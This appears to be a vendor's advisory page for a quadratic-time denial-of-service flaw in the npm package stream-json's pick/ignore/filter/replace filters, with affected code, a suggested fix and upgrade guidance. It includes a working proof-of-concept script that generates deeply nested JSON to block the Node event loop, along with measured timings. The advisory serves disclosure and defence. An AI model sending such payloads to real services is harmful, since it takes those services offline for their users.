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MEDIUM severity

GHSA-528h-pc64-c93x

MEDIUMFix: uhop/stream-json@a869fb9

GHSA-528h-pc64-c93x is a medium-severity (CVSS 6.2) CWE-407 vulnerability in stream-json. O3 Security confirms whether GHSA-528h-pc64-c93x is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

stream-json: pick/ignore/filter/replace filters are O(depth²) on nested input — small crafted JSON blocks the event loop for seconds→minutes (DoS)

Also known asCVE-2026-71429
Published
Sep 3, 2026
Updated
Sep 5, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-528h-pc64-c93x.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

462other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
stream-jsonnpm
6.7Mdownloads / week

Description

Description

The path filters pick, ignore, filter, and replace — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on every checkable token. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth D costs O(D²), not O(D).

This is triggered by document structure (nesting depth), not byte volume, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact README flagship example pick({filter: 'data'}). Any service that uses these filters to extract a field from an untrusted (or larger-than-memory) JSON body — the primary documented use case — can be made to block its event loop.

Affected code (v3.4.0)

src/core/filters/filter-base.js:

// L26-32 — string filter: rejoins the ENTIRE stack on every call
const stringFilter = (string, separator) => {
  const stringWithSeparator = string + separator;
  return stack => {
    const path = stack.join(separator);              // O(depth) — every call
    return path === string || path.startsWith(stringWithSeparator);
  };
};

// L34-39 — regexp filter: same
const regExpFilter = (regExp, separator) => {
  return stack => {
    regExp.lastIndex = 0;
    return regExp.test(stack.join(separator));       // O(depth) — every call
  };
};
// L194 — filter(stack, chunk) is invoked for EVERY checkable token while in the 'check' state
const action = checkableTokens[chunk.name] !== 1 ? nonCheckableAction : filter(stack, chunk) ? specialAction : defaultAction;

stack is pushed/popped on startObject/startArray/end (L239-250), so stack.length === depth. For a depth-D document that hasn't matched yet, filter() runs once per level and each call is O(depth) ⇒ O(D²) total.

Not affected: the streamArray/streamObject/streamValues streamers use asm.depth (an O(1) getter), so they don't exhibit this. The issue is specific to filter-base.js recomputing the path string.

Proof of concept

npm i [email protected]
node poc-quadratic-dos.mjs
import parserStream from 'stream-json';
import { pick } from 'stream-json/filters/pick.js';
import chain from 'stream-chain';

function run(D) {
  const doc = '{"meta":'.repeat(D) + '1' + '}'.repeat(D); // depth D, never matches "data"
  return new Promise((resolve) => {
    const t0 = process.hrtime.bigint();
    const pipeline = chain([parserStream(), pick({ filter: 'data' })]);
    pipeline.on('data', () => {});
    pipeline.on('end', () => resolve({ D, bytes: doc.length, ms: Number(process.hrtime.bigint() - t0) / 1e6 }));
    pipeline.write(doc); pipeline.end();
  });
}
for (const D of [5000, 10000, 20000, 40000]) {
  const r = await run(D);
  console.log(`D=${r.D}  bytes=${r.bytes}  ms=${Math.round(r.ms)}`);
}

Measured (Node v24, single core, clean npm i [email protected]):

D=5000    bytes= 45001   ms=  160
D=10000   bytes= 90001   ms=  603   (3.8x for 2x input  -> quadratic)
D=20000   bytes=180001   ms= 2511   (4.2x)
D=40000   bytes=360001   ms=11823   (4.7x)

A ~360 KB body (pure nesting, no data) blocks the event loop for ~12 seconds; extrapolating O(D²), ~1–2 MB reaches single-digit minutes of CPU on one request.

Impact

Remote, unauthenticated denial of service against any application that runs untrusted JSON through pick/ignore/filter/replace with a string or RegExp filter — the documented primary use of the library. A small request pins a CPU core / blocks the Node event loop, degrading or halting the service.

Suggested fix

Maintain the joined path incrementally instead of rejoining the whole stack per token:

  • On startObject/startArray push: append separator + key to a cached path string (and remember the pre-push length).
  • On end/pop: truncate the cached path back to the remembered length.
  • Filters test/startsWith against the cached string — O(1) amortized per token, making the whole traversal O(D).

Alternatively expose/enforce a maximum nesting depth for the filter path check.

Resolution

Fixed in 3.5.0. The path filters now cap JSON nesting depth at 1024 by default and throw a RangeError beyond it; upgrading is enough. Opt out with maxDepth: Infinity.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmstream-jsonall versions3.5.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for stream-json. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update stream-json to 3.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-528h-pc64-c93x is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-528h-pc64-c93x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-528h-pc64-c93x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Description The path filters `pick`, `ignore`, `filter`, and `replace` — the library's headline "surgical extraction" feature — recompute the full path string from the nesting stack on **every checkable token**. Because the stack length equals the current nesting depth, and a checkable token is emitted at every level, processing a document of depth *D* costs **O(D²)**, not O(D). This is triggered by document **structure (nesting depth), not byte volume**, so a tiny payload achieves outsized CPU cost, and it is the ordinary "traverse until the filter matches" path — including the exact REA
O3 Security · Impact-Aware SCA

Is GHSA-528h-pc64-c93x in your dependencies?

O3 detects GHSA-528h-pc64-c93x across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-528h-pc64-c93x: stream-json Denial of… | O3 Security